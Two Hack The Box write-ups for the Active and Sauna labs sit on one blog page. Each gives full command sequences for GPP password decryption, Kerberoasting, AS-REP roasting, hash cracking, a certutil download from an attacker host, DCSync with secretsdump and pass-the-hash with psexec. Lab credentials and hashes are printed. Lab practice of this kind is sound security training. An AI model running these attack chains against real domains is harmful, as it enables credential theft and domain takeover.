DEV Community: Iftikhar Huseynov

Active Ctf Hack The Box

Iftikhar Huseynov — Mon, 06 Jul 2026 13:03:23 +0000

Hi guys, what’s up. Welcome to my page. Today we are going to solve Active lab in HTB. The Active machine on Hack The Box focuses on Active Directory enumeration and privilege escalation. It introduces common techniques such as SMB enumeration, Kerberoasting, and exploiting misconfigured domain accounts. Solving this machine requires a solid understanding of Windows authentication and domain services. It is considered an excellent lab for practicing real-world Active Directory attack paths. Overall, Active is a great beginner-friendly machine for learning fundamental Windows penetration testing techniques.

Enumeration

nmap -sV -sC 10.129.31.130 

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-06 05:57 -0400
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.129.31.130
Host is up (0.25s latency).
Not shown: 981 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-06 10:01:45Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49167/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-07-06T10:02:46

53,88,135,389,445 ports are open.

SMB enumeration
We can use msfconsole auxiliary module for enumerating shares.

msfconsole -q
msf > search name:smb type:auxiliary

msf auxiliary(scanner/smb/smb_enumshares) > run
[-] 10.129.31.130:139 - Login Failed: Unable to negotiate SMB1 with the remote host: Not a valid SMB packet
[!] 10.129.31.130:445 - peer_native_os is only available with SMB1 (current version: SMB2)
[!] 10.129.31.130:445 - peer_native_lm is only available with SMB1 (current version: SMB2)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.29/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[+] 10.129.31.130:445 - ADMIN$ - (DISK|SPECIAL) Remote Admin
[+] 10.129.31.130:445 - C$ - (DISK|SPECIAL) Default share
[+] 10.129.31.130:445 - IPC$ - (IPC|SPECIAL) Remote IPC
[+] 10.129.31.130:445 - NETLOGON - (DISK) Logon server share 
[+] 10.129.31.130:445 - Replication - (DISK) 
[+] 10.129.31.130:445 - SYSVOL - (DISK) Logon server share 
[+] 10.129.31.130:445 - Users - (DISK) 
[*] 10.129.31.130: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

7 shares we have. After check we have anonymous read permission on Replication shares.

Inside the replication shares we should inspect the contents to determine whether there are any potentially sensitive or interesting files present.

smbclient //10.129.31.130/Replication -U “”%””

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get groups.xml -
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb

There are groups.xml files which is stored credentials inside.

Cracking the hash

Gpp-decrypt can solve

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

User Flag
We found SVC_TGS ‘s password. So lets get in.

smbclient //10.129.31.130/Users -U SVC_TGS
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> ls
  .                                   D        0  Sat Jul 21 11:14:42 2018
  ..                                  D        0  Sat Jul 21 11:14:42 2018
  user.txt                           AR       34  Mon Jul  6 05:57:18 2026

                5217023 blocks of size 4096. 275658 blocks available
smb: \SVC_TGS\Desktop\> get user.txt -
*********

Kerberosting

./kerbrute userenum -d active.htb --dc 10.129.31.130 /home/kali/Downloads/SecLists/Usernames/xato-net-10-million-usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 07/06/26 - Ronnie Flathers @ropnop

2026/07/06 06:12:38 >  Using KDC(s):
2026/07/06 06:12:38 >   10.129.31.130:88

2026/07/06 06:13:29 >  [+] VALID USERNAME:       administrator@active.htb

Nothing.

Privilege Escalation
GetUserSPNs.py is an Impacket tool used to enumerate Service Principal Names (SPNs) in an Active Directory domain. With the -request option, it requests Kerberos service tickets (TGS) for service accounts, enabling Kerberoasting attacks by extracting ticket hashes for offline password cracking.

GetUserSPNs.py -request -dc-ip 10.129.31.130 active.htb/SVC_TGS -save -outputfile active.out

/usr/local/bin/GetUserSPNs.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.14.0.dev0+20251120.95652.9c2d8b61', 'GetUserSPNs.py')
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies 

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2026-07-06 05:57:22.849416

*Hash
*

hashcat -m 18200 GetUserSPNs.out /usr/share/wordlists/rockyou.txt — force

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5158803791e7e090b15c7b17a883f1cf$2ca8851927cb8c16c1a1e444ccc89dd7f059644e2a22ac5a70ff32bb905167c58084d960659d37df47db978aa7e71f5604bd8d61cb2db35cb40e65d485ff63068270bee0cbd088d34d5f195b4c0b069fce0507a4212604ef64b372a5b05bdffd00a7b8725a781d4cb1eea039930e7fd3a4ec49369c55ac951f02af6940d8b060b1785252182a1c5e9b69b96883a25d1a9edd6552798bc115dd6412cde5507571cf2cc5833fba4671660a9048613c5b5ea0aa5455b1f2ab40f1bfde3b3fa6022a2c18e1a9e2f4d187d06656016c681ac91642402d3daa9e98e81775395318c05e1b63b97e31c3e5a82a9f7540a4e8284f171b319ceeef5281d6a5aaa70e703aad93ca2d1dd5ef6e2986769c3732259e81a5d09cd27c7db57d424c2c2061091122478bc27bc691cf1cbc1c091de37beacfbd5670eb5df2d3ca6a3fd21d43421e803e857caaf231aefceac6b144356c50f159d31cacc7b4a6367801baac3b65a795716507e9ca79176823c45a9517e17f261c21e59825eea4431ab3fc42953b3773e41d2686015aefd1a16708910ab70193e08b617d7b003bf63e575e431b20d4742e781532adf1e4b24549019007727ca6d5681df580ae33f2ae1c0d628968243fe1a52fc10e5b3fbc7e378bd3b5f4950a6ab973053baba84930312c76c083acf3bc4bb0cd31f082b2032fe255bc402c35408de18eb77857f27f882fc17f3d4b447f354f0e75e262764724de5881fb902ddce6c88c974bad0e423290bed826d567a0289521a5477b7b6a5349c87261b84de3e607ec7a4e3a6b429020125a514a18853efaa80b2e0149b098025c1a8dae792a2ada5e55d353c7f264e923b3fa8b8d1ca5e255f6cc8a6c8df9a1011900f7a2cf1584db8fe9ef2d9b6b35fae10a5e30d162db9b425408efcf6ce696ed0137fa43098ac1193a11bfbef6597062fe4dbc388ec9a10cd7eef44fd433a0ba6c7adefb0ab8dc360868ea09557c1681efd75ab3173265a4ef735a667f1f5fc8661a8458a2120028769bbfb40a61d0d10ad3e8670de04e807010d6c54110cc91d6261302974fdec509ffa5ae61078fd8dad91ed70c630687d8bd2b14f7f5a1d28e019f6bc4dd59138d6683f454fae9901481f1bfd6577c74ddba2dfdbd9658088ee12b5a0c3c03b8bfc37fad05aa289f7b410f086c353a48d604c1a5ad0d1ae9e9461dfbd19127eb5ee661b4eeeda9ab440d16a806782b5321057fcea6ac2cf77fe3967f7c0209772be2b80e2a:*******

Root Flag
We got administrator’s password.

smbclient //10.129.31.130/Users -U Administrator
smb: \Administrator\> cd Desktop
smb: \Administrator\Desktop\> ls
  .                                  DR        0  Thu Jan 21 11:49:47 2021
  ..                                 DR        0  Thu Jan 21 11:49:47 2021
  desktop.ini                       AHS      282  Mon Jul 30 09:50:10 2018
  root.txt                           AR       34  Mon Jul  6 05:57:18 2026

                5217023 blocks of size 4096. 279206 blocks available
smb: \Administrator\Desktop\> get root.txt -

Stay safe. Goodbye

Sauna CTF HTB

Iftikhar Huseynov — Sat, 04 Jul 2026 13:29:19 +0000

Hi what’s up, welcome to my page. Today we are going to solve Sauna ctf in Hack The box. This ctf is about Active Directory, which is very important.

Enumeration
nmap -sV -sC 10.129.95.180 Starting Nmap 7.98 ( https://nmap.org ) at 2026–07–03 13:16 -0400 Nmap scan report for 10.129.95.180 Host is up (0.21s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Egotistical Bank :: Home | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026–07–04 00:16:58Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026–07–04T00:17:20 |_ start_date: N/A |_clock-skew: 6h59m50s | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required
As we can see, we have LDAP, evil-winrm, smb,http, rpc and many more ports.

RPC port

rpcclient -U "" -N 10.129.95.180 rpcclient $> enumdomusers result was NT_STATUS_ACCESS_DENIED rpcclient $> ^C
We can’t use rpc port without authentication.

SMB port

`smbclient -L //10.129.95.180 
Password for [WORKGROUP\root]:
Anonymous login successful
Sharename Type Comment
 - - - - - - - - - - -
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.95.180 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 - no workgroup available`

Same thing.

LDAP
We have port 88 and 636. That’s why we can use ldapsearch for domain enumeration. Let’s start it.

`ldapsearch -x -H ldap://10.129.95.180 -s base -b "" "(objectClass=*)" namingContexts
# extended LDIF
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts 
#

#
dn:
namingContexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingContexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1`

Domain Controller- egotistical-bank.local. And there are no interesting things.

KERBEROS
Port 88 is active, we can use kerbrute tool for enumerate authenticated users. I’m using seclist for usernames but you can use any userlist txt.

./kerbrute userenum -d egotistical-bank.local --dc 10.129.95.180 /home/kali/Downloads/SecLists/Usernames/xato-net-10-million-usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 07/03/26 - Ronnie Flathers @ropnop

2026/07/03 13:31:29 >  Using KDC(s):
2026/07/03 13:31:29 >   10.129.95.180:88

2026/07/03 13:32:09 >  [+] VALID USERNAME:       administrator@egotistical-bank.local
2026/07/03 13:35:45 >  [+] VALID USERNAME:       hsmith@egotistical-bank.local
2026/07/03 13:36:30 >  [+] VALID USERNAME:       Administrator@egotistical-bank.local
2026/07/03 13:38:47 >  [+] VALID USERNAME:       fsmith@egotistical-bank.local
2026/07/03 13:58:42 >  [+] VALID USERNAME:       Fsmith@egotistical-bank.local

We found 3 users.

AES-ROASTING
For these users, we can use impacket script called GetNPUusers.py. This script allowed us to find hashes.

 GetNPUsers.py 'egotistical-bank.local/' -usersfile /home/kali/Downloads/sauna.txt -format hashcat -outputfile saunaasrep.txt -dc-ip 10.129.95.180
/usr/local/bin/GetNPUsers.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('impacket==0.14.0.dev0+20251120.95652.9c2d8b61', 'GetNPUsers.py')
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies 

[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:80fb2633f33d695682dc4fa9565b29f3$8049173e692157397d1c1b1e7927e5efa70cda45224dd92533ea77bad07b792a23bb1991e8b4934b7c0903d4ff5f38edf84206e1172d193c6b647a8fcf1caa4e58673f71f9fda5c26293e6af35756f36009895155b722118582ad330b121b4d42514ccf60a78e90d5d02c7c8b6de7d936f5f1b323eecdc8035d35ba67dbc0505c0eb0e464cc82dec821336513d18df4c8ed26f9d3e8a406dcc63d8393c71ed1bc6c9a2a05268e24cbd35b301bd6bec5dc61e16272d27d717a6fa64d5fa0e894583b169acf2956fa2caaa293db2d3f25e015477db979a6e797f224e0823c4b46394d20f91d9045ac5cbbc6cf64a312689d1bddd0b1de973357a0473e8259ffdfd

We got fsmith’s hash.

Cracking the hash
Hashcat help us to crack this hash.

hashcat -m 18200 saunaasrep.txt /usr/share/wordlists/rockyou.txt --force $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:80fb2633f33d695682dc4fa9565b29f3$8049173e692157397d1c1b1e7927e5efa70cda45224dd92533ea77bad07b792a23bb1991e8b4934b7c0903d4ff5f38edf84206e1172d193c6b647a8fcf1caa4e58673f71f9fda5c26293e6af35756f36009895155b722118582ad330b121b4d42514ccf60a78e90d5d02c7c8b6de7d936f5f1b323eecdc8035d35ba67dbc0505c0eb0e464cc82dec821336513d18df4c8ed26f9d3e8a406dcc63d8393c71ed1bc6c9a2a05268e24cbd35b301bd6bec5dc61e16272d27d717a6fa64d5fa0e894583b169acf2956fa2caaa293db2d3f25e015477db979a6e797f224e0823c4b46394d20f91d9045ac5cbbc6cf64a312689d1bddd0b1de973357a0473e8259ffdfd:Thestrokes23
We found fsmith’s password.

Gaining access to evil-winrm | PORT 5985

evil-winrm -i <ip> -u <username> -p <password>

evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23

Evil-WinRM shell v3.9



Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith> cd Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         7/3/2026   5:14 PM             34 user.txt



*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
*******

We got user.txt in desktop directory.

Privilege Escalation
Firstly,we should upload winpeas on the victim machine for privilege escalation methods.

On attacker machine

Make sure you are supposed to be in directory which has winpeas inside.

python3 -m http.server 80
On victim machine

certutil -urlcache -split -f http://<ATTACKER_IP>:80/winPEAS.exe winPEAS.exe
We can run winpeas with .\winpeas.exe

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

And there it is autologon user:svc_loanmanager

BloodHound

Take a look at bloodhound,and we can understood what loanmanager can do. loanmanager have 3 permissions: GetChangesAll, DCSync, GetChanges.

We use secretsdump for administrator hash.

consoleconsole
`secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
/usr/local/bin/secretsdump.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
import('pkg_resources').run_script('impacket==0.14.0.dev0+20251120.95652.9c2d8b61', 'secretsdump.py')
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
`

`
Hash has been found but firstly we should make sure that we can login with this hash. So we use crackmapexec for prove.

crackmapexec smb 10.129.95.180 -u 'Administrator' --hash aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e SMB 10.129.95.180 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False) SMB 10.129.95.180 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\Administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!)Yeppp, we can use this hash for login!

ROOT FLAG

>impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e -dc-ip 10.129.95.180 Administrator@10.129.95.180

C:\Users> cd Administrator

C:\Users\Administrator> cd Desktop

C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 489C-D8FC
Directory of C:\Users\Administrator\Desktop
07/14/2021 03:35 PM
.
07/14/2021 03:35 PM ..
07/03/2026 05:14 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 7,812,263,936 bytes free
C:\Users\Administrator\Desktop> type root.txt
*********``
BINGOOO!!!! We got root flag. Stay safe and goodbye.